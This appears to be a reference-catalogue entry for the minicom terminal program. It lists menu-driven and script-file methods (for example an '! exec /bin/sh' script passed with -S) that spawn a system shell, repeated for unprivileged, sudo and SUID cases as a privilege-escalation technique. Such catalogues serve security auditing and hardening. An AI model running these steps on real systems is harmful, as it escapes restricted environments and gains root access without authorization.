minicom

CommentNote that in some versions, Meta-Z is used in place of Ctrl-A.

Shell

This executable can spawn an interactive system shell.
  1. Comment

    Start the following command to open the TUI interface, then:

    1. press Ctrl-A o and select Filenames and paths;
    2. press e, type /bin/sh, then Enter;
    3. Press Esc twice;
    4. Press Ctrl-A k to drop the shell.

    After the shell, exit with Ctrl-A x.

    This function can be performed by any unprivileged user.
    minicom -D /dev/null
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    minicom -D /dev/null
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    Comment

    Start the following command to open the TUI interface, then:

    1. press Ctrl-A o and select Filenames and paths;
    2. press e, type /bin/sh -p, then Enter;
    3. Press Esc twice;
    4. Press Ctrl-A k to drop the shell.

    After the shell, exit with Ctrl-A x.

    minicom -D /dev/null
  2. CommentAfter the shell, exit with Ctrl-A x.
    This function can be performed by any unprivileged user.
    echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file
    minicom -D /dev/null -S /path/to/temp-file
    reset^J
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file
    minicom -D /dev/null -S /path/to/temp-file
    reset^J
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file
    minicom -D /dev/null -S /path/to/temp-file
    reset^J